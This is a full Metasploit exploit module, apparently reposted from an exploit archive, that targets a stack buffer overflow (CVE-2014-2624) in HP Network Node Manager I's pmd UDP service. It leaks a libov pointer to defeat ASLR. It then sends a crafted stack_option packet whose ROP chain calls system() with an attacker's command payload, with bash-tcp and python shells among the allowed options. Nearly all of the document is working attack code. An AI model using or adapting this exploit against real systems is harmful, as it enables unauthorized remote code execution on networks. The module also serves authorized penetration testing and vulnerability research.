HP Network Node Manager I – PMD Buffer Overflow (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'HP Network Node Manager I PMD Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The vulnerability exists in the pmd service, due to the insecure usage of functions like strcpy and strcat while handling stack_option packets with user controlled data. In order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from the stack and finally build the rop chain to avoid NX. }, 'Author' => [ 'd(-_-)b', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-2624'], ['ZDI', '14-305'] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 3000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk' } }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ ['Automatic', {}], ['HP NNMi 9.10 / CentOS 5', { # ptr to .rodata with format specifier #.rodata:0003BE86 aS_1 db '%s',0 'ov_offset' => 0x3BE86, :rop => :rop_hp_nnmi_9_10 } ], ['HP NNMi 9.20 / CentOS 6', { # ptr to .rodata with format specifier #.rodata:0003C2D6 aS_1 db '%s',0 'ov_offset' => 0x3c2d8, :rop => :rop_hp_nnmi_9_20 } ] ], 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20 'DisclosureDate' => 'Sep 09 2014', 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(7426) ], self.class) end def check header = [ 0x2a5, # pmdmgr_init pkt 0x3cc, # signature 0xa0c, # signature 0xca8 # signature ].pack("V") data = "\x00" * (0xfa4 - header.length) pkt = header + data connect_udp udp_sock.put(pkt) res = udp_sock.timed_read(8, 1) if res.blank? # To mitigate MacOSX udp sockets behavior # see https://dev.metasploit.com/redmine/issues/7480 udp_sock.put(pkt) res = udp_sock.timed_read(8) end disconnect_udp if res.blank? return Exploit::CheckCode::Unknown elsif res.length == 8 && res.unpack("V").first == 0x2a5 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def exploit connect_udp # info leak with a "proto_tbl" packet print_status("Sending a 'proto_tbl' request...") udp_sock.put(proto_tbl_pkt) res = udp_sock.timed_read(13964, 1) if res.blank? # To mitigate MacOSX udp sockets behavior # see https://dev.metasploit.com/redmine/issues/7480 udp_sock.put(proto_tbl_pkt) res = udp_sock.timed_read(13964) end if res.blank? fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...") end if target.name == 'Automatic' print_status("Fingerprinting target...") my_target = auto_target(res) fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil? else my_target = target fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res) end print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...") # exploit with a "stack_option_pkt" packet udp_sock.put(stack_option_pkt(my_target, @ov_base)) disconnect_udp end def rop_hp_nnmi_9_10(ov_base) rop = rand_text_alpha(775) rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored: # "PMD Stack option specified, but stack not available (user_controlled)" rop << [0x808d7c2].pack("V") # pop ebp # ret rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence: #.text:0001D692 lea eax, [ebp+dest] #.text:0001D698 push eax ; command #.text:0001D699 call _system rop end def rop_hp_nnmi_9_20(ov_base) rop = rand_text_alpha(775) rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028) #.text:0001DAEC push eax ; command #.text:0001DAED call _system rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored: # "PMD Stack option specified, but stack not available (user_controlled)" rop << rand_text_alpha(4) # ebp: padding rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base rop << rand_text_alpha(4) # ebx: padding rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got) rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov) rop << [0x80528BC].pack("V") # jmp eax rop end def stack_option_pkt(t, ov_base) hdr = [0x2a9].pack("V") # stack_option packet data = "-SA" # stack name (invalid one 'A') data << ";" # separator data << self.send(t[:rop], ov_base) # malformed stack options data << payload.encoded data << ";\n" data << "\x00" * (0xfa4 - data.length - hdr.length) hdr + data end def proto_tbl_pkt hdr = [0x2aa].pack("V") # proto_tbl packet data = "\x00" * (0xfa4 - hdr.length) hdr + data end def base(address, offset) address - offset end def find_ov_base(t, data) print_status("Searching #{t.name} pointers...") i = 0 data.unpack("V*").each do |int| if base(int, t['ov_offset']) % 0x1000 == 0 print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}") @ov_base = base(int, t['ov_offset']) return true end i = i + 1 end false end def auto_target(data) targets.each do |t| next if t.name == 'Automatic' if find_ov_base(t, data) return t end end nil end end |